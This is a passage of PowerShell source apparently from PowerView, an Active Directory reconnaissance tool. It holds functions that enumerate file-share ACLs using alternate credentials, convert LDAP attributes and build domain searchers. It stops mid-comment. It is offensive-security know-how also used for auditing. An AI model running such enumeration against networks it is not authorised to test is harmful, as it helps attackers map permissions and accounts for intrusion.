<# | |
.SYNOPSIS | |
Enumerates the ACL for a given file path. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID | |
.DESCRIPTION | |
Enumerates the ACL for a specified file/folder path, and translates | |
the access rules for each entry into readable formats. If -Credential is passed, | |
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. | |
.PARAMETER Path | |
Specifies the local or remote path to enumerate the ACLs for. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target path. | |
.EXAMPLE | |
Get-PathAcl "\\SERVER\Share\" | |
Returns ACLs for the given UNC share. | |
.EXAMPLE | |
gci .\test.txt | Get-PathAcl | |
.EXAMPLE | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) | |
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred | |
.INPUTS | |
String | |
One of more paths to enumerate ACLs for. | |
.OUTPUTS | |
PowerView.FileACL | |
A custom object with the full path and associated ACL entries. | |
.LINK | |
https://support.microsoft.com/en-us/kb/305144 | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.FileACL')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('FullName')] | |
[String[]] | |
$Path, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
function Convert-FileRight { | |
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights | |
[CmdletBinding()] | |
Param( | |
[Int] | |
$FSR | |
) | |
$AccessMask = @{ | |
[uint32]'0x80000000' = 'GenericRead' | |
[uint32]'0x40000000' = 'GenericWrite' | |
[uint32]'0x20000000' = 'GenericExecute' | |
[uint32]'0x10000000' = 'GenericAll' | |
[uint32]'0x02000000' = 'MaximumAllowed' | |
[uint32]'0x01000000' = 'AccessSystemSecurity' | |
[uint32]'0x00100000' = 'Synchronize' | |
[uint32]'0x00080000' = 'WriteOwner' | |
[uint32]'0x00040000' = 'WriteDAC' | |
[uint32]'0x00020000' = 'ReadControl' | |
[uint32]'0x00010000' = 'Delete' | |
[uint32]'0x00000100' = 'WriteAttributes' | |
[uint32]'0x00000080' = 'ReadAttributes' | |
[uint32]'0x00000040' = 'DeleteChild' | |
[uint32]'0x00000020' = 'Execute/Traverse' | |
[uint32]'0x00000010' = 'WriteExtendedAttributes' | |
[uint32]'0x00000008' = 'ReadExtendedAttributes' | |
[uint32]'0x00000004' = 'AppendData/AddSubdirectory' | |
[uint32]'0x00000002' = 'WriteData/AddFile' | |
[uint32]'0x00000001' = 'ReadData/ListDirectory' | |
} | |
$SimplePermissions = @{ | |
[uint32]'0x1f01ff' = 'FullControl' | |
[uint32]'0x0301bf' = 'Modify' | |
[uint32]'0x0200a9' = 'ReadAndExecute' | |
[uint32]'0x02019f' = 'ReadAndWrite' | |
[uint32]'0x020089' = 'Read' | |
[uint32]'0x000116' = 'Write' | |
} | |
$Permissions = @() | |
# get simple permission | |
$Permissions += $SimplePermissions.Keys | ForEach-Object { | |
if (($FSR -band $_) -eq $_) { | |
$SimplePermissions[$_] | |
$FSR = $FSR -band (-not $_) | |
} | |
} | |
# get remaining extended permissions | |
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } | |
($Permissions | Where-Object {$_}) -join ',' | |
} | |
$ConvertArguments = @{} | |
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } | |
$MappedComputers = @{} | |
} | |
PROCESS { | |
ForEach ($TargetPath in $Path) { | |
try { | |
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { | |
$HostComputer = (New-Object System.Uri($TargetPath)).Host | |
if (-not $MappedComputers[$HostComputer]) { | |
# map IPC$ to this computer if it's not already | |
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential | |
$MappedComputers[$HostComputer] = $True | |
} | |
} | |
$ACL = Get-Acl -Path $TargetPath | |
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { | |
$SID = $_.IdentityReference.Value | |
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'Path' $TargetPath | |
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) | |
$Out | Add-Member Noteproperty 'IdentityReference' $Name | |
$Out | Add-Member Noteproperty 'IdentitySID' $SID | |
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') | |
$Out | |
} | |
} | |
catch { | |
Write-Verbose "[Get-PathAcl] error: $_" | |
} | |
} | |
} | |
END { | |
# remove the IPC$ mappings | |
$MappedComputers.Keys | Remove-RemoteConnection | |
} | |
} | |
function Convert-LDAPProperty { | |
<# | |
.SYNOPSIS | |
Helper that converts specific LDAP property result fields and outputs | |
a custom psobject. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
.DESCRIPTION | |
Converts a set of raw LDAP properties results from ADSI/LDAP searches | |
into a proper PSObject. Used by several of the Get-Domain* function. | |
.PARAMETER Properties | |
Properties object to extract out LDAP fields for display. | |
.OUTPUTS | |
System.Management.Automation.PSCustomObject | |
A custom PSObject with LDAP hashtable properties translated. | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
$Properties | |
) | |
$ObjectProperties = @{} | |
$Properties.keys | Sort-Object | ForEach-Object { | |
if ($_ -ne 'adspath') { | |
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory') -or ($_ -eq 'securityidentifier')) { | |
# convert all listed sids (i.e. if multiple are listed in sidHistory) | |
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } | |
} | |
elseif ($_ -eq 'grouptype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum | |
} | |
elseif ($_ -eq 'samaccounttype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum | |
} | |
elseif ($_ -eq 'objectguid') { | |
# convert the GUID to a string | |
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid | |
} | |
elseif ($_ -eq 'useraccountcontrol') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum | |
} | |
elseif ($_ -eq 'ntsecuritydescriptor') { | |
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
if ($Descriptor.Owner) { | |
$ObjectProperties['OwnerSID'] = $Descriptor.Owner | |
$OwnerObject = Get-DomainObject $Descriptor.Owner | |
$ObjectProperties['OwnerName'] = $OwnerObject.samaccountname | |
} | |
if ($Descriptor.Group) { | |
$ObjectProperties['Group'] = $Descriptor.Group | |
} | |
if ($Descriptor.DiscretionaryAcl) { | |
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl | |
} | |
if ($Descriptor.SystemAcl) { | |
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl | |
} | |
} | |
elseif ($_ -eq 'accountexpires') { | |
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { | |
$ObjectProperties[$_] = "NEVER" | |
} | |
else { | |
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) | |
} | |
} | |
elseif ($_ -eq 'lockouttime') { | |
if ($Properties[$_][0] -eq 0 -or $Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { | |
$ObjectProperties[$_] = "UNLOCKED" | |
} | |
else { | |
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) | |
} | |
} | |
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') -or ($_ -eq 'ms-mcs-admpwdexpirationtime')) { | |
# convert timestamps | |
if ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
# if we have a System.__ComObject | |
$Temp = $Properties[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) | |
} | |
else { | |
# otherwise just a string | |
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) | |
} | |
} | |
elseif ($_ -eq 'logonhours') { | |
$ObjectProperties[$_] = Convert-LogonHours -LogonHours $Properties[$_][0] | |
} | |
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
# try to convert misc com objects | |
$Prop = $Properties[$_] | |
try { | |
$Temp = $Prop[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) | |
} | |
catch { | |
Write-Verbose "[Convert-LDAPProperty] error: $_" | |
$ObjectProperties[$_] = $Prop[$_] | |
} | |
} | |
elseif ($Properties[$_].count -eq 1) { | |
$ObjectProperties[$_] = $Properties[$_][0] | |
} | |
else { | |
$ObjectProperties[$_] = $Properties[$_] | |
} | |
} | |
} | |
try { | |
New-Object -TypeName PSObject -Property $ObjectProperties | |
} | |
catch { | |
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" | |
} | |
} | |
######################################################## | |
# | |
# Domain info functions below. | |
# | |
######################################################## | |
function Get-DomainSearcher { | |
<# | |
.SYNOPSIS | |
Helper used by various functions that builds a custom AD searcher object. | |
Author: Will Schroeder (@harmj0y) | |
License: BSD 3-Clause | |
Required Dependencies: Get-Domain | |
.DESCRIPTION | |
Takes a given domain and a number of customizations and returns a | |
System.DirectoryServices.DirectorySearcher object. This function is used | |
heavily by other LDAP/ADSI searcher functions (Verb-Domain*). | |
.PARAMETER Domain | |
Specifies the domain to use for the query, defaults to the current domain. | |
.PARAMETER LDAPFilter | |
Specifies an LDAP query string that is used to filter Active Directory objects. | |
.PARAMETER Properties | |
Specifies the properties of the output object to retrieve from the server. | |
.PARAMETER SearchBase | |
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" | |
Useful for OU queries. | |
.PARAMETER SearchBasePrefix | |
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). | |
.PARAMETER Server | |
Specifies an Active Directory server (domain controller) to bind to for the search. | |
.PARAMETER SearchScope | |
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). | |
.PARAMETER ResultPageSize | |
Specifies the PageSize to set for the LDAP searcher object. | |
.PARAMETER ResultPageSize | |
Specifies the PageSize to set for the LDAP searcher object. | |
.PARAMETER ServerTimeLimit | |
Specifies the maximum amount of time the server spends searching. Default of 120 seconds. | |
.PARAMETER SecurityMasks | |
Specifies an option for examining security information of a directory object. | |
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. | |
.PARAMETER Tombstone | |
Switch. Specifies that the searcher should also return deleted/tombstoned objects. | |
.PARAMETER Credential | |
A [Management.Automation.PSCredential] object of alternate credentials | |
for connection to the target domain. | |
.PARAMETER SSL | |
Use SSL Connection to LDAP Server | |
.EXAMPLE | |
Get-DomainSearcher -Domain testlab.local | |
Return a searcher for all objects in testlab.local. | |
.EXAMPLE | |
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' | |
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. | |
.EXAMPLE | |
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" | |
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). | |
.OUTPUTS | |
System.DirectoryServices.DirectorySearcher | |
#> | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.DirectoryServices.DirectorySearcher')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$SearchBasePrefix, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit = 120, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$SSL | |
) | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
$TargetDomain = $Domain | |
if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { | |
# see if we can grab the user DNS logon domain from environment variables | |
$UserDomain = $ENV:USERDNSDOMAIN | |
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { | |
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" | |
} | |
} | |
} | |
elseif ($PSBoundParameters['Credential']) { | |
# if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain | |
$DomainObject = Get-Domain -Credential $Credential | |
$BindServer = ($DomainObject.PdcRoleOwner).Name | |
$TargetDomain = $DomainObject.Name | |
} | |
elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { | |
# see if we can grab the user DNS logon domain from environment variables | |
$TargetDomain = $ENV:USERDNSDOMAIN | |
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { | |
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" | |
} | |
} | |
else { | |
# otherwise, resort to Get-Domain to retrieve the current domain object | |
write-verbose "get-domain" | |
$DomainObject = Get-Domain | |
$BindServer = ($DomainObject.PdcRoleOwner).Name | |
$TargetDomain = $DomainObject.Name | |
} | |
if ($PSBoundParameters['Server']) { | |
# if there's not a specif |